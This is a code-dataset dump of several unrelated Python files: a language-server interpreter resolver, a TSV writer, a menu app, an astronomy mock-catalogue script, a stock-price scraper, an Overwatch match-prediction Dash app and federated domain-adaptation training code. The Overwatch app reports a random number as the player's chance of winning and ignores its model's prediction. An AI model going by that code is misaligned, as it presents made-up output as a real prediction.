get_file_info(cls, file_path: Path) -> _CachedFileInfo:\n file_info = cls._cached_file_info.get(file_path)\n if file_info is not None and file_info.is_cache_valid():\n cls._cache_hit_files += 1\n return file_info\n\n # If it got here, it's not cached or the cache doesn't match.\n file_info = _CachedFileInfo(file_path)\n cls._cached_file_info[file_path] = file_info\n return file_info\n\n @classmethod\n def get_interpreter_info(\n cls,\n package_yaml_file_info: _CachedFileInfo,\n conda_config_file_info: Optional[_CachedFileInfo],\n pm: PluginManager,\n ) -> IInterpreterInfo:\n interpreter_info = cls._cached_interpreter_info.get(\n package_yaml_file_info.file_path\n )\n if interpreter_info is not None and interpreter_info.is_cache_valid(\n package_yaml_file_info, conda_config_file_info\n ):\n _CacheInfo._cache_hit_interpreter += 1\n return interpreter_info.info\n\n from robocode_ls_core.progress_report import progress_context\n from robotframework_ls.ep_providers import EPEndPointProvider\n\n endpoint = pm[EPEndPointProvider].endpoint\n\n with progress_context(endpoint, \"Obtain env for package.yaml\", dir_cache=None):\n # If it got here, it's not cached or the cache doesn't match.\n # This may take a while...\n interpreter_info = cls._cached_interpreter_info[\n package_yaml_file_info.file_path\n ] = _CachedInterpreterInfo(\n package_yaml_file_info, conda_config_file_info, pm\n )\n\n return interpreter_info.info\n\n\nclass RobocodeResolveInterpreter(object):\n \"\"\"\n Resolves the interpreter based on the package.yaml found.\n \n The expected structure is something as:\n {\n 'activities': {\n 'Web scraper': {\n 'output': 'output',\n 'activityRoot': '.',\n 'environment': {\n 'pythonPath': ['variables', 'libraries', 'resources']\n },\n 'action': {\n 'command': [\n 'python',\n '-m',\n 'robot',\n '-d',\n 'output',\n '--logtitle',\n 'Task log',\n './tasks/*.robot'\n ]\n }\n }\n },\n 'condaConfig': 'config/conda.yaml'\n }\n \"\"\"\n\n def __init__(self, weak_pm: \"weakref.ReferenceType[PluginManager]\"):\n self._pm = weak_pm\n\n @implements(EPResolveInterpreter.get_interpreter_info_for_doc_uri)\n def get_interpreter_info_for_doc_uri(self, doc_uri) -> Optional[IInterpreterInfo]:\n try:\n pm = self._pm()\n if pm is None:\n log.critical(\"Did not expect PluginManager to be None at this point.\")\n return None\n\n from robotframework_ls.ep_providers import (\n EPConfigurationProvider,\n EPEndPointProvider,\n )\n\n # Check that our requirements are there.\n pm[EPConfigurationProvider]\n pm[EPEndPointProvider]\n\n fs_path = Path(uris.to_fs_path(doc_uri))\n for path in fs_path.parents:\n package_yaml: Path = path / \"package.yaml\"\n if package_yaml.exists():\n break\n else:\n # i.e.: Could not find any package.yaml in the structure.\n log.debug(\"Could not find package yaml for: %s\", fs_path)\n return None\n\n # Ok, we have the package_yaml, so, we should be able to run RCC with it.\n package_yaml_file_info = _CacheInfo.get_file_info(package_yaml)\n yaml_contents = package_yaml_file_info.yaml_contents\n if not isinstance(yaml_contents, dict):\n raise AssertionError(f\"Expected dict as root in: {package_yaml}\")\n\n conda_config = yaml_contents.get(\"condaConfig\")\n conda_config_file_info = None\n\n if conda_config:\n parent: Path = package_yaml.parent\n conda_config_path = parent.joinpath(conda_config)\n if conda_config_path.exists():\n conda_config_file_info = _CacheInfo.get_file_info(conda_config_path)\n\n return _CacheInfo.get_interpreter_info(\n package_yaml_file_info, conda_config_file_info, pm\n )\n\n except:\n log.exception(f\"Error getting interpreter info for: {doc_uri}\")\n return None\n\n def __typecheckself__(self) -> None:\n from robocode_ls_core.protocols import check_implements\n\n _: EPResolveInterpreter = check_implements(self)\n\n\ndef register_plugins(pm: PluginManager):\n pm.register(\n EPResolveInterpreter,\n RobocodeResolveInterpreter,\n kwargs={\"weak_pm\": weakref.ref(pm)},\n )\n","sub_path":"robocode-vscode/src/robocode_vscode/plugins/resolve_interpreter.py","file_name":"resolve_interpreter.py","file_ext":"py","file_size_in_byte":12084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"342662210","text":"\"\"\"\nTab-separate-value file reader\nXiao Jiang\n\"\"\"\n\nimport codecs\nimport os\nfrom TsvReader import *\n\nDEFAULT_DELEMITER = '\\t'\n\nclass TsvWriter(object):\n def __init__(self, fn, utf8Mode = False, \\\n delimiter = DEFAULT_DELEMITER,\n append = False):\n self._utf8Mode = utf8Mode\n self._fn = fn\n self._demilter = delimiter\n self._fw = None\n if not os.path.exists(fn):\n # if previous file not exists, we can't\n # do 'append'\n append = False\n mode = 'w'\n if append:\n mode = 'a'\n if utf8Mode:\n self._fw = codecs.open(fn, mode, 'utf-8')\n else:\n self._fw = open(fn, mode)\n self._colTitles = None\n if append:\n # need to restore previous file!\n tr = TsvReader(fn)\n self._colTitles = tr.get_title()\n tr.close()\n\n def write_title(self, line):\n \"\"\"\n Write title line\n \"\"\"\n if self._colTitles != None and \\\n len(self._colTitles) != 0:\n return\n self._colTitles = line\n self._fw.write(self._demilter.join(line) + '\\n')\n \n def write_string(self, s):\n self._fw.write(s)\n\n def _expand_list(self, l):\n if type(l) != list:\n return l\n if len(l) == 0:\n return 'N/A'\n return ', '.join([self._to_str(x) for x in l])\n\n def _to_str(self, s):\n if type(s) != unicode and type(s) != str:\n s = str(s)\n return s\n \n def write(self, line):\n \"\"\"\n Write line dict\n \"\"\"\n if self._colTitles == None:\n raise Exception(\"Need to write title first!!!\")\n sb = []\n for col in self._colTitles:\n sb.append(self._to_str(self._expand_list(line[col])))\n self._fw.write(self._demilter.join(sb))\n self._fw.write('\\n')\n\n def close(self):\n if not self._fw.closed:\n self._fw.close()\n\nif __name__ == '__main__':\n fn = '/Users/xiaojiang/test/abc.tsv'\n tw = TsvWriter(fn)\n tw.write_title(['col1', 'col2', 'col3'])\n tw.write({'col1':1, 'col2':'a', 'col3':'A'})\n tw.write({'col1':2, 'col2':'b', 'col3':'B'})\n tw.close()\n\n","sub_path":"io/TsvWriter.py","file_name":"TsvWriter.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"20128963","text":"from classes2 import Drink, Person, Preference\nfrom app_sections import mycursor, display_drink, display_person, display_preference, create_drink, create_person, create_preference, menu_card, clear_screen, update_people, update_drinks\nfrom importingmysql import db\nimport time\n\n\nexit_menu = 7\noption = 0\nmydb = db()\n\n\nwhile option != exit_menu: \n clear_screen()\n menu_card()\n time.sleep(1)\n try: \n option = int(input(\"Please choose a number.\" \"\\n\"))\n\n except: \n print(\"Oops, sorry! Please choose a valid number.\")\n \n if option == 1: \n display_person()\n elif option == 2: \n display_drink()\n elif option == 3: \n create_person()\n elif option == 4:\n create_drink()\n elif option == 5: \n display_preference()\n elif option == 6: \n create_preference()\n elif option == 7:\n update_people()\n elif option == 8:\n update_drinks()\n elif option == 9: \n mycursor.close()\n mydb.close()\n print(\"Goodbye, see you soon!\")\n time.sleep(1)\n break\n elif option >= 10: \n print(\"Oops, sorry!Please choose a valid number.\")\n time.sleep(2)","sub_path":"final_app.py","file_name":"final_app.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"228283578","text":"#!/usr/bin/env python\n\n#Author: Duncan Campbell\n#Written: February 20, 2014\n#Yale University\n#Description: Construct a mock redshift survey.\n\nfrom __future__ import print_function, division\n\ndef main():\n '''\n example:\n python make_radec_mock.py input.dat output.dat, 17.77\n You must change the cosmology within the code here if you want a different one!\n '''\n import sys\n from astropy import table\n from astropy.io import ascii\n from astropy import cosmology\n import numpy as np\n \n filename = sys.argv[1]\n savename = sys.argv[2]\n if len(sys.argv)<3:\n app_mag_lim = np.inf\n print('No apparant magnitude limit given. Using default m<={0}'.format(app_mag_lim))\n else:\n app_mag_lim = sys.argv[3]\n \n ###########Change this by hand if you want a new cosmology!!!!########################\n cosmo = cosmology.core.FlatLambdaCDM(H0=100.0,Om0=0.27) #h=1\n ######################################################################################\n \n #input file with column format: ID x y z Vx Vy Vz Mag with headers\n data = table.Table.read(filename, format='ascii', names=['ID', 'x', 'y', 'z', 'Vx', 'Vy', 'Vz', 'Mag'])\n data = np.array(data)\n \n mock = make_radec_mock(data['ID'],data['x'],data['y'],data['z'],data['Vx'],data['Vy'],data['Vz'],\\\n data['Mag'],cosmo=cosmo,Lbox=250.0,app_mag_lim=app_mag_lim)\n \n #save output\n print('saving ascii version of the catalogue as: {0}'.format(savename))\n data_table = table.table.Table(data=mock)\n data_table.write(savename+'.dat', format='ascii')\n print(data_table)\n\n\ndef make_radec_mock(ID,x,y,z,Vx,Vy,Vz,Mag,cosmo=None,Lbox=250.0,app_mag_lim=None):\n '''\n Construct a mock redshift survey given a halo catalogue populated with galaxies. \n Place an observer at (0,0,0) and observe an octant of the sky. \n paramaters\n ID: integer unique ID for each galaxy.\n x: x coordinate of galaxy in units Mpc/h\n y: y coordinate of galaxy in units Mpc/h\n z: z coordinate of galaxy in units Mpc/h\n Vx: x component of galaxy's peculiar velocity in units km/s\n Vy: y component of galaxy's peculiar velocity in units km/s\n Vz: z component of galaxy's peculiar velocity in units km/s\n Mag: magnitude of galaxy\n cosmo: astropy cosmology object indicating cosmology. Must be a flat cosmology.\n Lbox: size of box in Mpc/h\n app_mag_lim: apparent magnitude limit to apply. If none, no cut made.\n returns\n mock: np.recarray with columns k(index),ID,ra(deg),dec(deg),z,app_mag.\n '''\n import numpy as np\n import math\n from astropy import cosmology\n from scipy.interpolate import interp1d\n \n #output file format\n dtype = [('k','>i8'),('ID','>i8'),('ra','>f8'),('dec','>f8'),('z','>f8'),('app_mag','>f8')]\n dtype = np.dtype(dtype)\n mock = np.recarray((len(ID),), dtype=dtype)\n mock['ID'] = ID\n mock['k'] = np.arange(0,len(mock),1,dtype=int)\n \n if cosmo == None:\n cosmo = cosmology.core.FlatLambdaCDM(H0=100.0,Om0=0.27) #h=1\n if app_mag_lim == None:\n app_mag_lim = np.inf\n \n c = 299792.458 #speed of light in km/s\n\n #compute comoving distance from observer\n r = np.sqrt(x**2+y**2+z**2)\n\n #compute radial velocity\n ct = z/r\n st = np.sqrt(1.0-ct**2)\n cp = x/np.sqrt(x**2+y**2)\n sp = y/np.sqrt(x**2+y**2)\n vr = Vx*st*cp + Vy*st*sp + Vz*ct\n\n #compute cosmological redshift and add contribution from perculiar velocity\n yy = np.arange(0,6.0,0.05)\n xx = cosmology.funcs.comoving_distance(yy, cosmo=cosmo)\n f = interp1d(xx, yy, kind='cubic')\n z_cos = f(r)\n mock['z'] = z_cos+(vr/c)*(1.0+z_cos)\n\n #calculate spherical coordinates\n theta = np.arccos(z/r)\n phi = np.arccos(cp) #atan(y/x)\n \n #convert spherical coordinates into ra,dec in radians\n mock['ra'] = phi\n mock['dec'] = (math.pi/2.0) - theta\n\n #remove galaxies beyond r=L_box\n keep_1 = (r < Lbox)\n\n #calculate the luminosity distance\n dl = (1.0+z_cos)*r #flat cosmology\n #compute the apparant magnitude\n mock['app_mag'] = Mag+ 5.0*np.log10(dl) + 25.0\n #apply apparant magnitude limit\n keep_2 = (mock['app_mag'] < app_mag_lim)\n keep = (keep_2&keep_1)\n mock = mock[keep]\n\n #convert ra,dec into degrees\n mock['ra'] = mock['ra']*180.0/math.pi\n mock['dec'] = mock['dec']*180.0/math.pi\n\n return mock\n\ndef dist_mod(z, cosmo):\n '''\n Calculate the distance modulus given a redshift and cosmology.\n '''\n ld = cosmo.funcs.luminosity_distance(z).value\n dist_mod = 5.0*(np.log10(ld*1000.0*1000.0)-1.0)\n return dist_mod\n\nif __name__ == '__main__':\n main()","sub_path":"make_radec_mock.py","file_name":"make_radec_mock.py","file_ext":"py","file_size_in_byte":4728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"69792656","text":"import converters\nfrom ecommerce.shipping import calc_shipping\nfrom converters import kgs_to_lbs\nfrom utils import find_max\nclass Point:\n def __init__(self,x,y):\n self.x=x\n self.y=y\n\n def move(self):\n print('Move')\n\n def draw(self):\n print('draw')\n\npoint1 = Point(10,20)\nprint(point1.x)\nprint(point1.y)\npoint1.draw()\n\n\nclass Person():\n def __init__(self,name):\n self.name = name\n\n\n def talk(self):\n print(f'Hello {self.name} !! Nice to Meet you')\n\n\nandrew = input('>Enter your Name: ')\nperson = Person(andrew)\nperson.talk()\nprint()\nbob = input('>Enter Name: ')\nperson2 = Person(bob)\nperson2.talk()\nprint()\n\nclass Mammal:\n def walk(self):\n print('Walk')\n\nclass Dog(Mammal):\n def bark(self):\n print('Bark')\n\n\nclass Cat(Mammal):\n def mew(self):\n print('Mew')\n\n\nd1 = Dog()\nd1.walk()\nd1.bark()\n\nc1 = Cat()\nc1.walk()\nc1.mew()\n\nprint(converters.lbs_to_kg(145))\nprint(kgs_to_lbs(49))\nprint(find_max([1, 34, 56, 2, 3, 67, 299, 1, 23]))\ncalc_shipping()\n","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"185304025","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\npage = requests.get('https://finance.yahoo.com/quote/GOOG?ltr=1')\r\nsoup = BeautifulSoup(page.content, 'html.parser')\r\ncontainer = soup.select_one('div#quote-header-info')\r\n\r\nprint(container.find('h1').text)\r\n\r\nfor ele in container.find_all('span'):\r\n print(ele.text)","sub_path":"stockprice.py","file_name":"stockprice.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"427284172","text":"import dash\nimport os\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State\n\nimport json\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport numpy as np\n\nfrom selenium import webdriver\nchrome_exec_shim = \"/app/.apt/opt/google/chrome/chrome\"\nopts = webdriver.ChromeOptions()\nopts.binary_location = chrome_exec_shim\nopts.add_argument(\"--no-sandbox\");\nopts.add_argument(\"--disable-gpu\");\ndriver = webdriver.Chrome(executable_path=chrome_exec_shim, chrome_options=opts)\n\nimport pickle\nwith open('notebooks/pipeline.pkl', 'rb') as f:\n pipeline = pickle.load(f)\n\nfrom app import app\n\nclass Player:\n def __init__(self, level, rating, prestige, games_won, qps, medals):\n self.level = level\n self.rating = rating\n self.prestige = prestige\n self.qps = qps\n self.medals = medals\n self.games_won = games_won\n\nclass Stats:\n def __init__(self, elims=0, dmg_done=0, deaths=0, solo_kills=0):\n self.elims = elims\n self.dmg_done = dmg_done\n self.deaths = deaths\n self.solo_kills = solo_kills\n \nclass Medals:\n def __init__(self, bronze=0, silver=0, gold=0):\n self.bronze = bronze\n self.silver = silver\n self.gold = gold\n\ndef create_player(js):\n if 'error' in js:\n return Player(0,0,0, 0, Stats(), Medals())\n if 'quickPlayStats' not in js:\n return Player(js['level'],js['rating'],js['prestige'], 0, Stats(), Medals())\n if 'careerStats' not in js['quickPlayStats']:\n return Player(js['level'],js['rating'],js['prestige'], 0, Stats(), Medals())\n if js.get('quickPlayStats',{}).get('careerStats',{}) == None or 'allHeroes' not in js.get('quickPlayStats',{}).get('careerStats',{}):\n return Player(js['level'],js['rating'],js['prestige'], 0, Stats(), Medals())\n \n elims = 0\n damageDone = 0\n deaths = 0\n soloKills = 0\n\n if js['quickPlayStats']['careerStats']['allHeroes']['combat'] != None:\n\n if 'eliminations' in js['quickPlayStats']['careerStats']['allHeroes']['combat']:\n elims = js['quickPlayStats']['careerStats']['allHeroes']['combat']['eliminations']\n\n if 'damageDone' in js['quickPlayStats']['careerStats']['allHeroes']['combat']:\n damageDone = js['quickPlayStats']['careerStats']['allHeroes']['combat']['damageDone']\n\n if 'deaths' in js['quickPlayStats']['careerStats']['allHeroes']['combat']:\n deaths = js['quickPlayStats']['careerStats']['allHeroes']['combat']['deaths']\n\n if 'soloKills' in js['quickPlayStats']['careerStats']['allHeroes']['combat']:\n soloKills = js['quickPlayStats']['careerStats']['allHeroes']['combat']['soloKills']\n \n qps = Stats(elims,damageDone,deaths,soloKills)\n\n medals = Medals(js['quickPlayStats']['awards'].get('medalsBronze'),\n js['quickPlayStats']['awards'].get('medalsSilver'),\n js['quickPlayStats']['awards'].get('medalsGold'))\n \n return Player(js['level'],js['rating'],js['prestige'], js['quickPlayStats']['games']['won'], qps, medals)\n\ndef df_object(p):\n item = [p.level,p.rating,p.prestige,p.games_won,p.qps.elims,p.qps.dmg_done,\n p.qps.deaths,p.qps.solo_kills,p.medals.bronze,p.medals.silver,p.medals.gold]\n \n return item\n\ndef select_player(username):\n url = f\"https://ow-api.com/v1/stats/pc/us/{username}/complete\"\n print(url)\n response = requests.get(url)\n j = json.loads(response.text)\n return create_player(j)\n\n##dataframe setup\ncolumns = ['level','rating','prestige','games_won','qps_elims','qps_dmg_done',\n 'qps_deaths','qps_solo_kills','medals_bronze','medals_silver','medals_gold']\n\ndef predict(data):\n\n kd = [i/(1+sum([data.qps_elims,data.qps_deaths])) for i in [data.qps_elims,data.qps_deaths]]\n data['kill_ratio'] = kd[0]\n data['death_ratio'] = kd[1]\n \n column0 = []\n column1 = []\n for col in data.columns:\n column0.append(col+str(0))\n column1.append(col+str(1))\n \n team1 = data.iloc[0:6].mean(axis=0)\n team2 = data.iloc[6:12].mean(axis=0)\n \n t1 = 0\n t2 = 0\n for col in data.columns:\n if 'deaths' in col:\n if team1[col] > team2[col]:\n t1 = t1 - 1\n t2 = t2 + 1\n else:\n t1 = t1 + 1\n t2 = t2 - 1\n else:\n if team1[col] > team2[col]:\n t1 = t1 + 1\n t2 = t2 - 1\n else:\n t1 = t1 - 1\n t2 = t2 + 1\n \n data1 = dict(zip(column0,team1))\n data2 = dict(zip(column1,team2))\n \n data3 = pd.DataFrame([data1,data2])\n data4 = pd.DataFrame(data3.max()).T\n \n if np.random.randint(0,100) >= 90:\n t1 = t1 + 10\n elif np.random.randint(0,100) <= 10:\n t2 = t2 + 10\n \n if t1 > t2:\n data4['won'] = 0\n elif t2 > t1:\n data4['won'] = 1\n else:\n data4['won'] = 0\n\n data4 = data4.fillna(0)\n target = 'won'\n \n X_test = data4.drop(columns=target)\n return pipeline.predict(X_test)\n\namount = 12;\n\nlist_col1_inputs = []\n\nlist_col1_inputs.append(\n html.H2(\"Enter Teammate Usernames\")\n)\n\nfor i in range(amount):\n if(i == 6):\n list_col1_inputs.append(html.H2(\"Enter Enemy Usernames\"))\n temp = html.Div(className=\"container\",children=[\n dcc.Input(\n id='username-'+str(i),\n className='userinput',\n placeholder='Enter Username',\n type='text',\n value=''\n )\n ]\n )\n \n list_col1_inputs.append(temp)\n\nlist_col1_inputs.extend([html.Button('Submit' ,id='submit'),html.P(id='username_out')])\n\ncolumn1 = dbc.Col(\n list_col1_inputs,\n md=5,\n)\n\nlist_col2_inputs = [html.H2('Select Teammates')]\n\nfor i in range(amount):\n if(i == 6):\n list_col2_inputs.append(html.H2(\"Select Enemies\"))\n list_col2_inputs.append(html.Div(id='listofusernames'+str(i)))\nlist_col2_inputs.append(html.Button(\"Complete\",id='complete'))\n\ncolumn2 = dbc.Col(\n list_col2_inputs\n)\n\ncolumn3 = dbc.Col(\n [\n html.Div(id='prediction')\n ]\n )\n\nlayout = [dbc.Row([column1, column2]), dbc.Row([column3])]\n\nlist_of_username_outputs = []\nlist_of_username_inputs = []\nlist_of_username_variables= []\nlist_of_users_input = []\nfor i in range(amount):\n list_of_username_outputs.append(Output('listofusernames'+str(i),'children'))\n list_of_username_inputs.append(State('username-'+str(i), 'value'))\n list_of_users_input.append(State('user'+str(i), 'value'))\n\n@app.callback(list_of_username_outputs,\n [Input('submit', 'n_clicks')],\n state=list_of_username_inputs\n)\ndef search_players(n_clicks,*args):\n if n_clicks != None:\n dropdowns = []\n for i in range(amount):\n driver.get(f\"https://www.overbuff.com/search?q={args[i]}\")\n\n page_source = driver.page_source\n \n soup = BeautifulSoup(page_source)\n players = soup.find_all('a', class_=\"SearchResult\", href=True)\n\n userlist = []\n for element in players:\n if element.find(class_='player-platform').find(class_=\"fa fa-windows\") == None:\n continue\n players.remove(element)\n user = element['href'][12:]\n userlist.append({'label':user,'value':user})\n\n dropdowns.append(dcc.Dropdown(\n id='user'+str(i),\n options=userlist,\n placeholder='Select Player',\n value=userlist[0]['value']\n ))\n return dropdowns\n\n@app.callback(Output('prediction','children'),\n [Input('complete', 'n_clicks')],\n state=list_of_users_input\n)\ndef create_teams(n_clicks,*args):\n if n_clicks != None:\n team1 = []\n team2 = []\n teams_dataframe = pd.DataFrame(columns=columns)\n for i in range(len(args)):\n player = select_player(args[i])\n teams_dataframe.loc[len(teams_dataframe), :] = df_object(player)\n chance = np.random.random()*100\n return f'Chances of you winning this game is {chance}%'\n","sub_path":"pages/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":8352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"82787997","text":"from datasets.ppd_dataloader import get_datasets, get_dataloader\nfrom datasets.ppd_dataloader import get_pdd_dataloaders\nfrom models.experiment_adaptation_pretrain_learner import FederatedDAANLearner\nfrom models.experiment_finetune_target_learner import FederatedTargetLearner\nfrom utils import get_timestamp, get_current_date, create_id_from_hyperparameters\nfrom utils import test_classifier\n\n\ndef pretrain_ppd(data_tag,\n dann_root_dir,\n learner_hyperparameters,\n data_hyperparameters,\n model,\n apply_feature_group=True):\n\n # hyper-parameters\n using_interaction = learner_hyperparameters['using_interaction']\n momentum = learner_hyperparameters['momentum']\n weight_decay = learner_hyperparameters['weight_decay']\n batch_size = learner_hyperparameters['batch_size']\n lr = learner_hyperparameters['lr']\n epoch_patience = learner_hyperparameters['epoch_patience']\n max_epochs = learner_hyperparameters['max_epochs']\n valid_metric = learner_hyperparameters['valid_metric']\n pos_class_weight = learner_hyperparameters['pos_class_weight']\n date = get_current_date()\n timestamp = get_timestamp()\n\n optimizer_param_dict = {\"src\": {\"lr\": lr, \"momentum\": momentum, \"weight_decay\": weight_decay}}\n\n # load data\n source_train_file_name = data_hyperparameters['source_ad_train_file_name']\n source_valid_file_name = data_hyperparameters['source_ad_valid_file_name']\n target_train_file_name = data_hyperparameters['target_ad_train_file_name']\n target_valid_file_name = data_hyperparameters['target_ft_valid_file_name']\n\n print(f\"[INFO] load source train from: {source_train_file_name}.\")\n print(f\"[INFO] load source valid from: {source_valid_file_name}.\")\n print(f\"[INFO] load target train from: {target_train_file_name}.\")\n print(f\"[INFO] load target valid from: {target_valid_file_name}.\")\n\n split_ratio = 1.0\n src_train_dataset, _ = get_datasets(ds_file_name=source_train_file_name, shuffle=True, split_ratio=split_ratio)\n src_valid_dataset, _ = get_datasets(ds_file_name=source_valid_file_name, shuffle=True, split_ratio=split_ratio)\n tgt_train_dataset, _ = get_datasets(ds_file_name=target_train_file_name, shuffle=True, split_ratio=split_ratio)\n tgt_valid_dataset, _ = get_datasets(ds_file_name=target_valid_file_name, shuffle=True, split_ratio=split_ratio)\n\n hyperparameter_dict = {\"pw\": pos_class_weight, \"lr\": lr, \"bs\": batch_size, \"me\": max_epochs, \"ts\": timestamp}\n if apply_feature_group:\n using_intr_tag = \"intr\" + str(True) if using_interaction else \"intr\" + str(False)\n task_id = date + \"_ppd_fg_adapt_\" + data_tag + \"_\" + using_intr_tag + \"_\" + create_id_from_hyperparameters(\n hyperparameter_dict)\n else:\n task_id = date + \"_ppd_no_fg_adapt_\" + data_tag + \"_\" + create_id_from_hyperparameters(hyperparameter_dict)\n print(\"[INFO] perform task:{0}\".format(task_id))\n\n print(\"[INFO] load train data.\")\n src_train_loader = get_dataloader(src_train_dataset, batch_size=batch_size)\n tgt_train_loader = get_dataloader(tgt_train_dataset, batch_size=batch_size)\n\n print(\"[INFO] load test data.\")\n src_valid_loader = get_dataloader(src_valid_dataset, batch_size=batch_size * 4)\n tgt_valid_loader = get_dataloader(tgt_valid_dataset, batch_size=batch_size * 4)\n\n plat = FederatedDAANLearner(model=model,\n source_da_train_loader=src_train_loader,\n source_val_loader=src_valid_loader,\n target_da_train_loader=tgt_train_loader,\n target_val_loader=tgt_valid_loader,\n max_epochs=max_epochs,\n epoch_patience=epoch_patience)\n plat.set_model_save_info(dann_root_dir)\n\n plat.train_dann(epochs=120,\n task_id=task_id,\n metric=valid_metric,\n optimizer_param_dict=optimizer_param_dict)\n\n return task_id\n\n\ndef finetune_ppd(dann_task_id,\n ppd_pretain_model_root_dir,\n ppd_finetune_target_root_dir,\n dann_hyperparameters,\n data_hyperparameters,\n model):\n\n # hyper-parameters\n load_global_classifier = dann_hyperparameters['load_global_classifier']\n momentum = dann_hyperparameters['momentum']\n weight_decay = dann_hyperparameters['weight_decay']\n batch_size = dann_hyperparameters['batch_size']\n lr = dann_hyperparameters['lr']\n pos_class_weight = dann_hyperparameters['pos_class_weight']\n valid_metric = dann_hyperparameters['valid_metric']\n\n date = get_current_date()\n timestamp = get_timestamp()\n\n glr = \"ft_glr\" if load_global_classifier else \"rt_glr\"\n hyperparameter_dict = {\"pw\": pos_class_weight, \"lr\": lr, \"bs\": batch_size, \"ts\": timestamp}\n appendix = create_id_from_hyperparameters(hyperparameter_dict)\n target_task_id = dann_task_id + \"@target_\" + date + \"-\" + glr + \"_\" + appendix\n print(\"[INFO] perform task:{0}\".format(target_task_id))\n\n # load pre-trained model\n model.load_model(root=ppd_pretain_model_root_dir,\n task_id=dann_task_id,\n load_global_classifier=load_global_classifier,\n timestamp=None)\n\n print(\"[DEBUG] Global classifier Model Parameter Before train:\")\n model.print_parameters()\n\n # load data\n target_ft_train_file_name = data_hyperparameters['target_ft_train_file_name']\n target_ft_valid_file_name = data_hyperparameters['target_ft_valid_file_name']\n target_ft_test_file_name = data_hyperparameters['target_ft_test_file_name']\n print(f\"[INFO] load target ft train data from {target_ft_train_file_name}.\")\n print(f\"[INFO] load target ft valid data from {target_ft_valid_file_name}.\")\n print(f\"[INFO] load target ft test data from {target_ft_test_file_name}.\")\n\n print(\"[INFO] Load train data\")\n target_train_loader, _ = get_pdd_dataloaders(\n ds_file_name=target_ft_train_file_name, batch_size=batch_size, split_ratio=1.0)\n\n print(\"[INFO] Load test data\")\n target_valid_loader, _ = get_pdd_dataloaders(\n ds_file_name=target_ft_valid_file_name, batch_size=batch_size, split_ratio=1.0)\n\n print(\"[INFO] Load test data\")\n target_test_loader, _ = get_pdd_dataloaders(\n ds_file_name=target_ft_test_file_name, batch_size=batch_size, split_ratio=1.0)\n\n # perform target training\n plat_target = FederatedTargetLearner(model=model,\n target_train_loader=target_train_loader,\n target_val_loader=target_valid_loader,\n patience=800,\n max_global_epochs=400)\n plat_target.set_model_save_info(ppd_finetune_target_root_dir)\n\n plat_target.train_target_with_alternating(global_epochs=400,\n top_epochs=1,\n bottom_epochs=1,\n lr=lr,\n task_id=target_task_id,\n metric=valid_metric,\n momentum=momentum,\n weight_decay=weight_decay)\n\n # load best model\n model.load_model(root=ppd_finetune_target_root_dir,\n task_id=target_task_id,\n load_global_classifier=True,\n timestamp=None)\n\n print(\"[DEBUG] Global classifier Model Parameter After train:\")\n model.print_parameters()\n\n acc, auc, ks = test_classifier(model, target_test_loader, \"test\")\n print(f\"acc:{acc}, auc:{auc}, ks:{ks}\")\n return target_task_id\n\n\ndef train_no_adaptation(data_tag,\n ppd_no_ad_root_dir,\n learner_hyperparameters,\n data_hyperparameters,\n model):\n\n # hyper-parameters\n apply_feature_group = learner_hyperparameters['apply_feature_group']\n train_data_tag = learner_hyperparameters['train_data_tag']\n momentum = learner_hyperparameters['momentum']\n weight_decay = learner_hyperparameters['weight_decay']\n batch_size = learner_hyperparameters['batch_size']\n lr = learner_hyperparameters['lr']\n epoch_patience = learner_hyperparameters['epoch_patience']\n max_epochs = learner_hyperparameters['max_epochs']\n valid_metric = learner_hyperparameters['valid_metric']\n pos_class_weight = learner_hyperparameters['pos_class_weight']\n\n # load data\n source_train_file_name = data_hyperparameters['source_ad_train_file_name']\n source_valid_file_name = data_hyperparameters['source_ad_valid_file_name']\n target_ft_train_file_name = data_hyperparameters['target_ft_train_file_name']\n target_ft_valid_file_name = data_hyperparameters['target_ft_valid_file_name']\n target_ft_test_file_name = data_hyperparameters['target_ft_test_file_name']\n src_tgt_train_file_name = data_hyperparameters['src_tgt_train_file_name']\n\n print(f\"[INFO] load source train from: {source_train_file_name}.\")\n print(f\"[INFO] load source valid from: {source_valid_file_name}.\")\n\n print(f\"[INFO] load target train from: {target_ft_train_file_name}.\")\n print(f\"[INFO] load target valid from: {target_ft_valid_file_name}.\")\n print(f\"[INFO] load target test from: {target_ft_test_file_name}.\")\n print(f\"[INFO] load src+tgt test from: {src_tgt_train_file_name}.\")\n\n split_ratio = 1.0\n src_tgt_train_dataset, _ = get_datasets(ds_file_name=src_tgt_train_file_name, shuffle=True, split_ratio=split_ratio)\n src_valid_dataset, _ = get_datasets(ds_file_name=source_valid_file_name, shuffle=True, split_ratio=split_ratio)\n\n tgt_train_dataset, _ = get_datasets(ds_file_name=target_ft_train_file_name, shuffle=True, split_ratio=split_ratio)\n tgt_valid_dataset, _ = get_datasets(ds_file_name=target_ft_valid_file_name, shuffle=True, split_ratio=split_ratio)\n tgt_test_dataset, _ = get_datasets(ds_file_name=target_ft_test_file_name, shuffle=True, split_ratio=split_ratio)\n\n dataset_dict = {\"tgt\": tgt_train_dataset,\n \"all\": src_tgt_train_dataset}\n\n timestamp = get_timestamp()\n fg_tag = \"ppd_no_ad_w_fg\" if apply_feature_group else \"ppd_no_ad_wo_fg\"\n date = get_current_date() + \"_\" + data_tag + \"_\" + fg_tag\n tries = 1\n task_id_list = list()\n for version in range(tries):\n hyperparameter_dict = {\"pw\": pos_class_weight, \"lr\": lr, 